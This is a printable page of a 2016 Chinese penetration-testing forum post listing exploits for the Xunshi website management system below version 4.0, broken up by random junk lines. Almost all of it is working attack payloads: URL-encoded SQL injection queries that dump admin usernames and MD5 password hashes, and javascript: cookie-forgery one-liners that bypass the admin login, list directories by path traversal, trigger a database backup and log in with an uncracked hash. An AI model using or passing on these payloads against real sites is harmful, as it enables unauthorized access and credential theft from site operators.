中国网络渗透测试联盟
标题:
讯时网站管理系统4.0以下漏洞
[打印本页]
作者:
admin
时间:
2016-5-11 14:55
标题:
讯时网站管理系统4.0以下漏洞
一、注入
' T8 U* r2 Q3 q7 e- K( ^
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
; x6 v& ?3 @ l6 u# ?) m! ^: ^
+ U! |: R2 B0 @- Y9 l
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
8 A+ W7 _1 q3 _6 O" s+ r
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
% i: y7 j/ N/ X
可得到用户名和MD5加密码的密码。
4 q3 W, @7 q) U
% `; P/ p9 p( w8 |) V+ {
二、cookies欺骗
9 y" |; _7 [8 E
1 K, ~4 E8 {' Y3 ]6 k: ?- Z8 u
1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
& U% v J* O6 w% A; o% I- @$ j# y" w
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
, s" D6 N$ v% `! C
6 {5 i! x& |, ~5 Q
2、列目录.
9 u3 C5 W% ~+ Z( n( W( U2 A2 U
javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
6 t; D6 U/ T2 C
. A" q6 |$ N2 T3 a
3、数据库备份(适用性好像比较低.)
% T+ V. ~9 u" U+ N1 ~) G
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
# \6 u8 K1 }# I1 F6 X# a4 y% j
) \) D8 @6 V) ?+ _9 N4 d
4、得到MD5密码解不了密进后台方法
& n; y9 R, Q: v/ I4 Z' {0 K# b1 B8 B
javascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
8 x8 }" b J- {% @1 a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2